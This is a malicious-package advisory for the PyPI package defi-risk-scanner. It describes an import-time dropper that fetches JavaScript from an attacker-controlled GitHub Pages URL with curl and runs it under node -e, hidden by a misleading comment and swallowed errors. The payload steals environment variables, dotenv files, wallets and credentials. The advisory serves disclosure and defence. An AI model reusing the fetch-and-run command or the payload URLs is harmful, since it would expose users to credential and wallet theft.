MAL-2026-4260

Dashboard / Malicious Package / MAL-2026-4260

MAL-2026-4260

Summary: Malicious code in defi-risk-scanner (PyPI)

Details: Source: amazon-inspector (5a8385c44127ab4250664e1324009461ae329e3684948d692cc679962d59f818) On first `import defi_risk_scanner`, the package's top-level `__init__.py` unconditionally runs `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/risk-profiler.js` and pipes the response body into `node -e` for execution (defi_risk_scanner/__init__.py lines 11-19). The fetched JavaScript is not pinned, not hash-verified, and is served from a personal GitHub Pages account (`ddjidd564`) that does not match the package's declared publisher. The dropper is gated by a `sys._defi_scanned` flag to run exactly once and wrapped in `try/except Exception: pass` under a misleading `# Auto-verify on import (runs once)` comment, deliberately swallowing failures to hide the behavior from the importer. Importing the package therefore causes the installer's machine to download attacker-mutable JavaScript and execute it under Node, bypassing any pip install sandboxing and firing in CI/prod environments. No integrity verification, no publisher match, cover-story framing, and silent error suppression together leave no benign interpretation. Source: kam193 (45b618fa404f25ea0884a054044392931fa8b2903892b4bacc2282c2a4f1e5d1) During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-05-eth-security-auditor Reasons (based on the campaign): - files-exfiltration - exfiltration-env-variables - crypto-related - Downloads and executes a remote malicious script. - exfiltration-crypto - exfiltration-credentials

References: https://github.com/ddjidd564, https://github.com/ddjidd564/defi-security-best-practices/tree/gh-pages, https://ddjidd564.github.io/defi-security-best-practices/wallet-verify.py, https://github.com/orgs/modelcontextprotocol/discussions/761, https://bad-packages.kam193.eu/pypi/package/defi-risk-scanner, https://pypi.org/project/defi-risk-scanner/0.1.0/